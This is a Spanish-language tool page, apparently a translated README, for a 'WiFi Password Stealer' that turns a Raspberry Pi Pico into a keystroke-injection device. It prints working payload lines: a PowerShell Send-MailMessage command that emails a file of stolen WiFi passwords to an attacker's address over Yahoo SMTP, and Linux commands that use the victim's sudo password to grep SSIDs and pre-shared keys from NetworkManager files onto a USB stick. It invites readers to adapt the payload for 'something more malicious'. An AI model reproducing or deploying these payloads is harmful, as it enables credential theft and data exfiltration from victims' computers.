WiFi Password Stealer: Herramienta Simple de Inyección de Teclas para Windows y Linux que Extrae Datos de WiFi Almacenados (SSID y Contraseña)

Durante el verano de 2022, decidí construir un dispositivo que me permitiera robar datos de la computadora de una víctima.

Descargo de responsabilidad: Todo el contenido de este proyecto está destinado únicamente para fines de investigación de seguridad.

Entonces, ¿cómo se despliega malware y se extraen datos? En el siguiente texto explicaré todos los pasos necesarios, teoría y matices cuando se trata de construir tu propia herramienta de inyección de teclas.

Aunque este proyecto/tutorial se centra en contraseñas de WiFi, el código del payload podría modificarse fácilmente para hacer algo más malicioso. Solo estás limitado por tu imaginación (y tus habilidades técnicas).

¿Alguna vez has visto una película en la que un hacker conecta un USB aparentemente común en la computadora de la víctima y roba datos de ella? Un verdadero sueño húmedo para algunos.

Configuración

Después de crear pico-ducky, solo necesitas copiar el payload modificado (ajustado para tus detalles SMTP en caso de explotación de Windows y/o ajustado para la contraseña de Linux y el nombre de una unidad USB) en el RPi Pico.

Requisitos Previos

  • Acceso físico a la computadora de la víctima.
  • Computadora de la víctima desbloqueada.
  • La computadora de la víctima debe tener acceso a Internet para enviar los datos robados mediante SMTP para la exfiltración a través de un medio de red.
  • Conocimiento de la contraseña de la computadora de la víctima para la explotación de Linux.

Requisitos – Lo que necesitarás

  • Raspberry Pi Pico (RPi Pico)
  • Cable Micro USB a USB
  • Cable de puente (opcional)
  • pico-ducky: RPi Pico transformado en un Rubber Ducky USB
  • Unidad flash USB (solo para la explotación a través de un medio físico)

Nota:

Es posible construir esta herramienta utilizando Rubber Ducky, pero ten en cuenta que RPi Pico cuesta alrededor de $4.00 y Rubber Ducky cuesta $80.00. Aunque pico-ducky es una solución buena y económica, Rubber Ducky ofrece características como sigilo y el uso de la última versión de DuckyScript.

Herramienta de Inyección de Teclas

La herramienta, una vez conectada a una máquina host, ejecuta comandos maliciosos mediante la ejecución de código que imita las pulsaciones de teclas ingresadas por un usuario. Aunque parece una unidad USB, actúa como un teclado que escribe un payload preprogramado. Herramientas como Rubber Ducky pueden escribir más de 1,000 palabras por minuto. Una vez creada, cualquier persona con acceso físico puede desplegar este payload con facilidad.

Inyección de Teclas

El payload utiliza el comando STRING para procesar pulsaciones de teclas para la inyección. Acepta uno o más caracteres alfanuméricos/ de puntuación y escribirá el resto de la línea tal como está en la máquina objetivo. La tecla ENTER / SPACE simulará la pulsación de las teclas del teclado.

Retrasos

Utilizamos el comando DELAY para pausar temporalmente la ejecución del payload. Esto es útil cuando un payload necesita esperar a que un elemento, como una línea de comandos, se cargue. El retraso es útil al principio cuando se conecta un nuevo dispositivo USB a una computadora objetivo. Inicialmente, la computadora debe completar un conjunto de acciones antes de que pueda comenzar a aceptar comandos de entrada. En el caso de los dispositivos de interfaz humana (HID), el tiempo de configuración es muy corto. En la mayoría de los casos, toma una fracción de segundo, porque los controladores están integrados. Sin embargo, en algunos casos, una PC más lenta puede tardar más en reconocer el pico-ducky. El consejo general es ajustar el tiempo de retraso según tu objetivo.

Exfiltración

La exfiltración de datos es una transferencia no autorizada de datos desde una computadora/dispositivo. Una vez recopilados los datos, el adversario puede empaquetarlos para evitar la detección mientras envía datos a través de la red, utilizando cifrado o compresión. Las dos formas más comunes de exfiltración son:

  1. Exfiltración a través del medio de red.
  2. Exfiltración a través de un medio físico.

Enfoque para la explotación de Windows:

Se utiliza la exfiltración sobre el medio de red. El payload completo se puede ver aquí.

Enfoque para la explotación de Linux: Se utiliza la exfiltración a través de un medio físico. El payload completo se puede ver aquí.

Explotación de Windows

Para usar el payload de Windows (payload1.dd), no es necesario conectar ningún cable puente entre los pines.

Envío de Datos Robados por Correo Electrónico

Una vez que las contraseñas se han exportado al archivo, el payload enviará los datos al correo electrónico designado usando Yahoo SMTP. Para obtener instrucciones más detalladas, visita el siguiente enlace. Además, la plantilla del payload debe actualizarse con tu información SMTP, lo que significa que debes actualizar RECEIVER_EMAIL.txt, SENDER_EMAIL y tu correo electrónico PASSWORD. Además, también puedes actualizar el cuerpo y el asunto del correo electrónico.

WiFi-password-stealer/payload/payload_windows.template.dd
STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

Nota:

Después de enviar los datos por correo electrónico, el archivo .txt se elimina.

También puedes usar SMTP de otro proveedor de correo electrónico, pero debes tener en cuenta el servidor SMTP y el número de puerto que escribirás en el payload. Ten en cuenta que algunas redes podrían bloquear el uso de un SMTP desconocido en el firewall.

Explotación de Linux

Para usar el payload de Linux (payload2.dd), necesitas conectar un cable puente entre GND y GPIO5 en tu RPi Pico. Para obtener más información sobre cómo configurar múltiples payloads en tu RPi Pico, visita este enlace.

Almacenamiento de Datos Robados en una Unidad Flash USB

Una vez que las contraseñas se han exportado de la computadora, los datos se guardarán en la unidad flash USB designada. Para que este payload funcione correctamente, debe actualizarse con el nombre correcto de tu unidad USB, lo que significa que deberás reemplazar USBSTICK con el nombre de tu unidad USB en dos lugares.

WiFi-password-stealer/payload/payload_linux.template.dd
STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt
STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

Además, también deberás actualizar la contraseña de Linux en el payload en tres lugares. Como se mencionó anteriormente, para que este exploit sea exitoso, deberás conocer la contraseña de la máquina Linux de la víctima, lo que hace que este ataque sea menos plausible.

WiFi-password-stealer/payload/payload_linux.template.dd
STRING echo PASSWORD | sudo -S echo
STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

Script Bash

Para ejecutar el script wifi_passwords_print.sh, deberás actualizar el script con el nombre correcto de tu USB después de lo cual puedes escribir el siguiente comando en tu terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

Donde PASSWORD es la contraseña de tu cuenta y USBSTICK es el nombre de tu dispositivo USB.

Resumen Rápido del Payload

NetworkManager se basa en el concepto de perfiles de conexión y utiliza complementos para leer/escribir datos. Utiliza un formato de archivo de clave similar a .ini y almacena perfiles de configuración de red. El archivo se encuentra en /etc/NetworkManager/system-connections/. Basándose en el formato de archivo de clave, el payload utiliza el comando grep con expresiones regulares para extraer datos de interés. Para el filtrado de archivos, se utilizó una versión modificada de una aserción positiva de búsqueda inversa (?<=keyword) grep. Mientras que la aserción positiva de búsqueda inversa coincidirá en una posición específica en la cadena, justo después de la palabra clave sin hacer que ese texto sea parte de la coincidencia, la expresión regular coincidirá con cualquier texto después de la palabra clave. Esto permite que el payload coincida con los valores después de las palabras clave SSID y psk (clave precompartida).

(?<=keyword).*

Para obtener más información sobre NetworkManager, aquí tienes algunos enlaces útiles:

Formato de Datos Exfiltrados

A continuación, se muestra un ejemplo de datos exfiltrados y formateados de la máquina de una víctima en un archivo .txt.

WiFi-password-stealer/resources/wifi_pass.txt
Wireless_Network_Name Password
--------------------- --------
WLAN1 pass1
WLAN2 pass2
WLAN3 pass3

Problema del Dispositivo de Almacenamiento Masivo USB

Una de las ventajas de Rubber Ducky sobre RPi Pico es que no se presenta como un dispositivo de almacenamiento masivo USB una vez conectado. Una vez conectado a la computadora, todo lo que ve la máquina es un teclado USB. Esto no es un comportamiento predeterminado para RPi Pico. Si deseas evitar que tu RPi Pico aparezca como un dispositivo de almacenamiento masivo USB cuando está conectado, debes conectar un cable puente entre el pin 18 (GND) y el pin 20 (GPIO15). Para obtener más detalles, visita este enlace.

Consejo: Carga tu payload en RPi Pico antes de conectar los pines. No sueldes los pines porque probablemente querrás cambiar/actualizar el payload en algún momento.

Escritor de Payload

Al crear un archivo de payload funcional, puedes usar el script o cambiar manualmente el archivo de plantilla. Para ejecutar el script con éxito, además del nombre del archivo de script, deberás pasar el nombre del sistema operativo (windows o linux) y el nombre del archivo de payload (por ejemplo, payload1.dd). A continuación, puedes encontrar un ejemplo de cómo ejecutar el script del escritor al crear un payload de Windows.

writer.py
python3 writer.py windows payload1.dd

Limitaciones/Desventajas

  • Esta pico-ducky actualmente solo funciona en sistemas operativos Windows.
  • Este ataque requiere acceso físico a un dispositivo desbloqueado para desplegarse con éxito.
  • Es menos probable que el exploit de Linux tenga éxito, porque para tener éxito, no solo necesitas acceso físico a un dispositivo desbloqueado, sino que también necesitas conocer la contraseña del administrador para la máquina Linux.
  • El firewall de la máquina o el firewall de la red pueden evitar que los datos robados se envíen por el medio de red.
  • Los retrasos del payload pueden ser inadecuados debido a las velocidades variables de las diferentes computadoras utilizadas para implementar un ataque.
  • El dispositivo pico-ducky no es realmente sigiloso, de hecho, es bastante voluminoso, especialmente si sueldas los pines.
  • Además, el dispositivo pico-ducky es notablemente más lento en comparación con Rubber Ducky que ejecuta el mismo script.
  • Si la tecla Caps Lock está activada, parte del código del payload no se ejecutará y el exploit fallará.
  • Si la computadora tiene un entorno no inglés configurado, este exploit no tendrá éxito.
  • Actualmente, pico-ducky no admite DuckyScript 3.0, solo se puede usar DuckyScript 1.0. Si necesitas la versión 3.0, deberás usar Rubber Ducky.

Lista de Tareas Pendientes

  • Solucionar el error del Caps Lock.
  • Solucionar el error del entorno no inglés.
  • Ofuscar el símbolo del sistema.
  • Implementar la exfiltración a través de un medio físico.
  • Crear un payload para Lin

Relacionado

Bugsy: Herramienta de Interfaz de Línea de Comando que Proporciona Remedios Automáticos para Vulnerabilidades

Bugsy es una herramienta de interfaz de línea de comandos (CLI) que ofrece remedios automáticos para vulnerabilidades de seguridad en tu código. Se trata de la edición comunitaria de Mobb, la primera herramienta de remediación automática de vulnerabilidades de seguridad sin proveedor específico. Bugsy está diseñado para ayudar a los desarrolladores a identificar y solucionar rápidamente las vulnerabilidades de seguridad en su código. ¿Qué es Mobb? ¡SEGUIR LEYENDO!

CATSploit: Una Herramienta de Pruebas de Penetración Automatizada Utilizando la Evaluación de Técnicas de Ataque Cibernético (CATS)

CATSploit es una herramienta automatizada de pruebas de penetración que utiliza el método de Evaluación de Técnicas de Ataque Cibernético (CATS). A diferencia de los pentesters tradicionales, CATSploit utiliza información de configuración del sistema, como el sistema operativo, puertos abiertos y versiones de software recopiladas por el escáner, para calcular valores de puntuación de captura (eVc) y detectabilidad (eVd) de cada técnica de ataque para el ¡SEGUIR LEYENDO!

17 Mejores Cursos Gratis de Comercio Electrónico

Cursos con los que aprender a montar una tienda o comercio electrónico sobre una página web, totalmente gratis y online.

28 Cursos Gratis de Udemy (cupón finalizado)

Cursos variados, entre los que vas a poder aprender Javascript, NET, Python, Java, R, AWS, SQL, Linux y más. Juegos Gratis de Abril: Steel Rats ? JUEGO GRATIS STEAM > World's Dawn ? JUEGO INDIE GALA > Age of Steel Recharge ? JUEGO INDIE GALA > Dwarflings ? JUEGO INDIE GALA > Survivalist ? JUEGO INDIE GALA Cursos en Español Curso Gratuito Iniciacion a la programacion ¡SEGUIR LEYENDO!

Mejores Cursos Gratis de Seguridad en Red

Recopilatorio de cursos enfocados en aprender seguridad dentro del mundo de la red, internet y entre las conexiones de las redes.

Demonized Shell: Una Herramienta Avanzada para Persistencia en Linux

D3m0n1z3dShell es una herramienta avanzada diseñada para lograr persistencia en sistemas Linux. NOTA IMPORTANTE: Es importante tener en cuenta que no me hago responsable de los daños causados por esta herramienta. Se debe utilizar de manera inteligente y únicamente con fines educativos. Desarrollada por MatheuZSecurity, esta shell demonizada ofrece una variedad de características para asegurar la persistencia en diversos entornos, desde sistemas Linux hasta Android e ¡SEGUIR LEYENDO!

EasyEASM: Herramienta de Gestión de Superficie de Ataque de Cero Dólares

Herramienta de gestión de superficie de ataque de cero dólares presentada en Black Hat Arsenal 2023 y Recon Village @ DEF CON 2023. Easy EASM es exactamente eso... la herramienta más fácil de configurar para proporcionar visibilidad a su organización sobre sus activos externos. La industria está dominada por proveedores de $30,000 que venden "Gestión de Superficie de Ataque", pero los cazadores de recompensas y los ¡SEGUIR LEYENDO!

Salir de la versión móvil